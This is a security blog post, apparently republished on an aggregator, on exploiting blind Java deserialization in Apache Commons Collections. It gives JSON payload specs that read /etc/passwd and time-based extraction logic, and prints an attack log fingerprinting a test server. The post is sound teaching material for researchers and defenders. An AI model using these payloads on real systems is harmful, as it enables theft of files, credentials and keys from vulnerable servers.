Blind Java Deserialization - Part II - exploitation rev 2
来源:互联网 发布:淘宝有客服电话 编辑:程序博客网 时间:2024/06/03 20:07
TL;DR: The practical exploitation of the blind java deserialization technique introduced in the previous blog post. Practical demonstration of the victim fingerprinting and information extraction from the system (properties, files).
Parts:
- Introduction
- Testing
- Building the payloads dynamically
- JSON spec
- String extraction
- Exploitation
- Demo
Introduction
In the Part 1 of our article we introduced a concept of blind Java Deserialization using Apache CommonsCollections exploit classes.
Apache CommonsCollections is a popular Java library that can get into the project also via transitive dependencies. Vulnerable application can run on arbitrary Servlet container (Tomcat, JBoss, WebSphere). Application is vulnerable if it contains CommonsCollections <= v3.2.1 or <= v4 on the Classpath and deserializes data provided by user (e.g., web page input, RMI, JMX). The serialized Java object starts with rO0
in base64 and ac ed 00 05
in hex.
Summary of the Part 1: with crafting a payload we can make a vulnerable application sleep on certain conditions, e.g., if the running Java is version 8, a binary search of the character. Such sleep leaks one bit of information. We automate this approach to extract the whole strings and files from the vulnerable systems.
This approach is useful if normal RCE from ysoserial toolchain does not work from some reason (firewall, policy, SecurityManager, selinux, IDS). We can extract precious pieces of information using this technique, which help us with further attacks, e.g., database connection strings, passwords, private keys, machine configuration.
Testing
In order to test deserialization vulnerability payloads in real environment, we made a simple REST server than accepts an input parameter in BASE64, deserializes it and prints the result (if applicable). Our payloads are tested against this test server.
Apache Commons-collection 3.1 is included as dependency so the CommonsCollections exploit class works. The server uses the Spring Boot framework and can be started from command line (has embedded Tomcat server). It is easy to test if the generated payload works as expected (sleep / exception).
Deserialize test server can be found on the GitHub. You can test against it with our attack tool.
Building the payloads dynamically
ysoserial is a good place to start with Java Deserialization. It has a simple CLI one can use to build a simple payload. In the Part 1 we extended the possibilities of the payload generation.
Our goal is mainly to automate binary search and string extraction from the vulnerable system. For each guess we need to construct a new payload on the fly. There is plenty of options to construct such payload dynamically so we decided to build the payload from the JSON specification.
JSON spec
JSON specification is a scheme for the payload. It determines how the resulting payload is constructed by the Generator.java which takes the JSON spec as an input and produces binary payload with the functionality defined in the spec.
Here are a few examples of payload construction:
Very simple payload - sleeps for 5 seconds.
{"exec":[ {"cmd":"sleep", "val": 5000},]}
The same sleep payload but using another CommonsCollections path - corresponds toCommonsCollections5
in ysoserial. Moreover the payload is valid (default option) = it does not throw an exception after deserialization finishes (see Part 1 for more info).
{"exec":[ {"cmd":"sleep", "val": 5000}], "valid": true, "module": 5}
This payload has 2 consequent commands. java
command is a macro we defined in theGenerator.java which detects whether the running Java version is 8. It does that by Classloading a class that was added in Java 8. Thus if Java 8 is there, class load succeeds and sleep is invoked. If lower java version is there, class loading fails with exception and sleep is not invoked.
{"exec":[ {"cmd":"java", "val": 8}, {"cmd":"sleep", "val": 5000}]}
The following payload is a simple if (predicate) then action
. fileEx
is another macro which constructs a predicate returning true if the given file exists. In this example the application sleeps in that case.
{"exec":[ {"cmd":"if", "pred":{"cmd":"fileEx", "val": "/etc/passwd"}, "then":{"cmd":"sleep", "val": 5000} }]}
This payload reads the /etc/passwd
file from the file system, converts all characters to lowercase and tests if the result contains a string nbusr123
. If it does, the app sleeps for 5 seconds.
{"exec":[ {"cmd":"if", "pred":[ {"cmd":"fileRead", "val":"/etc/passwd"}, {"cmd":"toLower"}, {"cmd":"contains", "val":"nbusr123"}], "then":{"cmd":"sleep", "val": 5000}}]}
This one demonstrated how to do a binary search on the input string - in this case the /etc/passwd
file. The page sleeps for 5 seconds if the 16th character of the file is in the regex range [a-z]
.
{"exec":[ {"cmd":"if", "pred":[ {"cmd":"fileRead", "val":"/etc/passwd"}, {"cmd":"toLower"}, {"cmd":"substr", "start":15, "stop":16}, {"cmd":"matches", "val":"[a-z]"}], "then":{"cmd":"sleep", "val": 5000}}]}
The last example demonstrates the payload wrapping inside a HashMap. This is handy if the application expects the HashMap after deserialization. With this we avoid ClassCastException.
{"exec":[ {"cmd":"sleep", "val": 5000}], "wrap":{"type":"map", "key":"foo", "into":{ "eval2": "java.util.HashMap m = new java.util.HashMap();m.put(\"hello\", \"world\");return m;"}}}
The following JSON spec is different from others. It does not use Transformer chain, but javassist approach (see the Part 1). With javassist exploit classes user does not have to express the logic with Transformers but can use Java code directly. Obviously the expressivity in this case is much greater, more sophisticated payloads can be constructed (e.g., reverse shell). This kind of exploits was not our main focus, but we also support these for testing if the destination machine is vulnerable (see report below):
{"javassist":"cc3", "code":"java.lang.Thread.sleep(5000L);"}
To learn more on gadget construction consult the Generator.java sources.
User does not have to write JSON spec directly, Attack.java implements few interesting use cases for the user (it internally constructs JSON spec, payload is generated and used). But writing those may come handy if you want to express a new functionality or build payloads separately - e.g., build a REST server generating payloads - request = JSON spec, response = generated payload.
String extraction
In order to extract the string, we first check if the string is null or empty. If it’s not, we proceed to the step 2 - length extraction.
We choose the simple algorithm to determine the string length: String.substr(). If the index is out of bounds (i.e., string does not contain it) the exception is thrown.
We thus make guesses like:
String.substr(0, 1); // okString.substr(0, 2); // okString.substr(0, 4); // okString.substr(0, 8); // okString.substr(0, 16); // exception
If the exception is thrown we know the length of the string is somewhere in between 8 - 15. The next step is to start a binary search in the interval 8 - 15 to find the exact length.
Then we extract one character after another using a binary search on the alphabet. It’s done byString.matches()
using regular expressions. The alphabet consists of printable ASCII characters + binary null.
Our regex alphabet:
[\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
The practical string extraction is demonstrated below.
Optimizations
The approach can be optimized so the algorithm waits a minimum time during the binary search. This can be done simply by a frequency analysis. In the particular step the algorithm asks whether the character being found is located in the range [BCDEFG]
or [HIJKLM]
. For us it is better to wait the minimum time, thus check the group which is less probable to occur (thus we don’t sleep).
Also the previous guesses can be used to further optimize the search, e.g., with more complex frequency analysis (digrams, trigrams), autocomplete engines or AI.
Exploitation
The exploitation example is in Attack.java which demonstrates:
- extraction of
os.name
property - extraction of
PATH
environment variable - extraction of
/etc/hosts
from the system - simple victim fingerprinting (determines working exploit classes, java version, OS, security manager access, a few interesting properties)
Affected libraries
The Blind attack is mainly focused on Apache Commons Collections library. Affected versions are Apache Commons Collections <= v3.2.1 and <= v4.0. The security problem is fixed in v3.2.2 and v4.1.
Further work
- The work can be extended and added as a Metasploit module or Burp module.
- Extending information extraction also to javassist exploits.
- Implementation of reverse shell payload in javassist exploit class.
- Improve the system fingerprinting, scan for running services (e.g., MySQL, Oracle, Tomcat).
- Container fingerprinting (Tomcat, JBoss, WebSphere, …).
- Private key extraction from web servers & containers.
- Implementation of DoS payloads.
Resources:
- Part 1 of our blog post
- Deserialize test server
- extended ysoserial with blind attacks implemented, victim fingerprinting
- ysoserial the original one
- Java-Deserialization-Cheat-Sheet
- Understanding ysoserial’s CommonsCollections1 exploit
- What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability
Demo
- Clone Deserialize test server and extended ysoserial.
- Start the Deserialize test server.
- Test whether it is listening on port 8022 - in the readme of the server you find how to compile it and test it.
- Run the GeneratorTest.java test class from the extended ysoserial. It constructs payloads from JSON specifications and runs them against the deserialize server.
- Run the AttackTest.java test class from the extended ysoserial. It contains the exploitation technique demonstration described above. The attack is launched against the test server and produces the report as below.
- Have fun.
Report - shortened
The Attack.java runs an automated test against the victim to determine few interesting properties:
# Testing CommonsCollections - Transformer based, v3Sleep Commons01 worked: trueSleep Commons05 worked: trueSleep Commons06 worked: true# Testing javassist exploit classes# Accepting the raw Java code as payload body.# cc = CommonsCollections. cc2, cc4 uses v4 libJavassist[ cb1] worked: falseJavassist[ cc2] worked: falseJavassist[ cc3] worked: trueJavassist[ cc4] worked: falseJavassist[ hibernate] worked: falseJavassist[ weld] worked: falseJavassist[ jboss] worked: falseJavassist[ jdk7] worked: falseJavassist[ json] worked: falseJavassist[ rhino] worked: falseJavassist[ rome] worked: falseJavassist[ spring1] worked: falseJavassist[ spring2] worked: false# Testing maximum length of the payload# server acceptsLength limit 1k passed: trueLength limit 4k passed: trueLength limit 16k passed: trueLength limit 256k passed: trueException in post ReqLength limit 1M passed: false# Major java version running the appJava 4 version: trueJava 5 version: trueJava 6 version: trueJava 7 version: trueJava 8 version: true# Security manager active?Security manager == null? true# os.name fingerprintingOS: win: falseOS: mac: trueOS: darwin: falseOS: nux: falseOS: sun: falseOS: bsd: false# Path on which ping residesOS: /bin/ping falseOS: /sbin/ping trueOS: /usr/bin/ping falseOS: /usr/sbin/ping falseOS: /usr/local/bin/ping false# Security manager checks &# read, write, exec checksCan connect to google.com:80: trueCan exec /bin/bash: trueCan read /etc/passwd: trueCan write to /tmp : trueCan write to /var/tmp : trueGoing to extract property: os.name
os.name
Example of a property extraction from the system.
Going to extract property: os.namePrepared alphabet: \x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\sNum steps in binary search 6.6582114827517955Going to find length of the stringString is null: falseString is empty: false--Max length guess: 1--Max length guess: 2--Max length guess: 4--Max length guess: 8--Max length guess: 16Length is between 7 and 16--Length: 7 - 16, mid: 12--Length: 7 - 11, mid: 9--Length: 7 - 8, mid: 8--[0]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]--[0000]Length: 000 - 101, mid: 051. y: 1, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLM] vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]--[0000]Length: 000 - 051, mid: 026. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./01234] vs [56789:;<=>?@ABCDEFGHIJKLM]--[0000]Length: 026 - 051, mid: 039. y: 0, range: [56789:;<=>?@A] vs [BCDEFGHIJKLM]--[0000]Length: 039 - 051, mid: 045. y: 0, range: [BCDEFG] vs [HIJKLM]--[0000]Length: 045 - 051, mid: 048. y: 0, range: [HIJ] vs [KLM]--[0000]Length: 048 - 051, mid: 050. y: 0, range: [KL] vs [M]--[0]=✂M✂--[1]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]--[0001]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLM] vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]--[0001]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef] vs [ghijklmnopqrstuvwxyz\{\|\}~\s]--[0001]Length: 051 - 076, mid: 064. y: 0, range: [NOPQRSTUVWXYZ] vs [\[\\\]\^_`abcdef]--[0001]Length: 064 - 076, mid: 070. y: 0, range: [\[\\\]\^_`] vs [abcdef]--[0001]Length: 070 - 076, mid: 073. y: 1, range: [abc] vs [def]--[0001]Length: 070 - 073, mid: 072. y: 1, range: [ab] vs [c]--[0001]Length: 070 - 072, mid: 071. y: 1, range: [a] vs [b]--[1]=✂a✂--[2]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]--[0002]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLM] vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]--[0002]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef] vs [ghijklmnopqrstuvwxyz\{\|\}~\s]--[0002]Length: 051 - 076, mid: 064. y: 0, range: [NOPQRSTUVWXYZ] vs [\[\\\]\^_`abcdef]--[0002]Length: 064 - 076, mid: 070. y: 0, range: [\[\\\]\^_`] vs [abcdef]--[0002]Length: 070 - 076, mid: 073. y: 1, range: [abc] vs [def]--[0002]Length: 070 - 073, mid: 072. y: 0, range: [ab] vs [c]--[2]=✂c✂--[3]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]--[0003]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLM] vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]--[0003]Length: 051 - 101, mid: 076. y: 0, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef] vs [ghijklmnopqrstuvwxyz\{\|\}~\s]--[0003]Length: 076 - 101, mid: 089. y: 0, range: [ghijklmnopqrs] vs [tuvwxyz\{\|\}~\s]--[0003]Length: 089 - 101, mid: 095. y: 0, range: [tuvwxy] vs [z\{\|\}~\s]--[0003]Length: 095 - 101, mid: 098. y: 0, range: [z\{\|] vs [\}~\s]--[0003]Length: 098 - 101, mid: 100. y: 0, range: [\}~] vs [\s]--[3]=✂ ✂--[4]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]--[0004]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLM] vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]--[0004]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef] vs [ghijklmnopqrstuvwxyz\{\|\}~\s]--[0004]Length: 051 - 076, mid: 064. y: 1, range: [NOPQRSTUVWXYZ] vs [\[\\\]\^_`abcdef]--[0004]Length: 051 - 064, mid: 058. y: 1, range: [NOPQRST] vs [UVWXYZ]--[0004]Length: 051 - 058, mid: 055. y: 1, range: [NOPQ] vs [RST]--[0004]Length: 051 - 055, mid: 053. y: 1, range: [NO] vs [PQ]--[0004]Length: 051 - 053, mid: 052. y: 0, range: [N] vs [O]--[4]=✂O✂--[5]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]--[0005]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLM] vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]--[0005]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef] vs [ghijklmnopqrstuvwxyz\{\|\}~\s]--[0005]Length: 051 - 076, mid: 064. y: 1, range: [NOPQRSTUVWXYZ] vs [\[\\\]\^_`abcdef]--[0005]Length: 051 - 064, mid: 058. y: 1, range: [NOPQRST] vs [UVWXYZ]--[0005]Length: 051 - 058, mid: 055. y: 0, range: [NOPQ] vs [RST]--[0005]Length: 055 - 058, mid: 057. y: 1, range: [RS] vs [T]--[0005]Length: 055 - 057, mid: 056. y: 0, range: [R] vs [S]--[5]=✂S✂--[6]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]--[0006]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLM] vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]--[0006]Length: 051 - 101, mid: 076. y: 0, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef] vs [ghijklmnopqrstuvwxyz\{\|\}~\s]--[0006]Length: 076 - 101, mid: 089. y: 0, range: [ghijklmnopqrs] vs [tuvwxyz\{\|\}~\s]--[0006]Length: 089 - 101, mid: 095. y: 0, range: [tuvwxy] vs [z\{\|\}~\s]--[0006]Length: 095 - 101, mid: 098. y: 0, range: [z\{\|] vs [\}~\s]--[0006]Length: 098 - 101, mid: 100. y: 0, range: [\}~] vs [\s]--[6]=✂ ✂--[7]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]--[0007]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLM] vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]--[0007]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef] vs [ghijklmnopqrstuvwxyz\{\|\}~\s]--[0007]Length: 051 - 076, mid: 064. y: 1, range: [NOPQRSTUVWXYZ] vs [\[\\\]\^_`abcdef]--[0007]Length: 051 - 064, mid: 058. y: 0, range: [NOPQRST] vs [UVWXYZ]--[0007]Length: 058 - 064, mid: 061. y: 0, range: [UVW] vs [XYZ]--[0007]Length: 061 - 064, mid: 063. y: 1, range: [XY] vs [Z]--[0007]Length: 061 - 063, mid: 062. y: 1, range: [X] vs [Y]--[7]=✂X✂Extracted string: Mac OS X
- Blind Java Deserialization - Part II - exploitation rev 2
- Blind Java Deserialization Vulnerability - Commons Gadgets Sep 2, 2016
- Java多线程(PART II) CurrentThread()方法
- Part II
- The Browser Exploitation Framework (BeEF) – Part 1
- Princeton Algorithms: Part 2 [week 7: Final Exam Part II]
- Java 学习笔记-手机书 Rev.2 (080411)
- JDWP Arbitrary Java Code Execution Exploitation
- Part II中的一些疑问 2
- Spring boot 2 . 参考手册(Part II部分)
- 几乎所有基于Java的web app都需要Model 2 (part II)
- 关于java反序列化漏洞(java deserialization vulnerability)
- 回首Java——Java序列化机制(Serialization,Deserialization)
- rev
- rev
- java.io.InvalidClassException:XXX class invalid for deserialization
- java serialization/deserialization (序列化对象自描述)
- java reflection part 2
- linux下IPC配置
- 使用Xcode8上传成功后,商店里构建版本却没有应用
- PHP的Socket网络编程入门指引
- 获取时间的方式
- Centos6下通过pssh并发执行命令
- Blind Java Deserialization - Part II - exploitation rev 2
- android studio中的Menu
- Objective-C-iOS UIScrollView UIPageControl 的用法详解
- lua math函数库
- materialdesign之tablayout的用法
- 无人驾驶车核心算法 — SLAM
- MongoDB的数据复制和数据切片
- 为web项目搭建sftp服务器
- 一些项目遇到的问题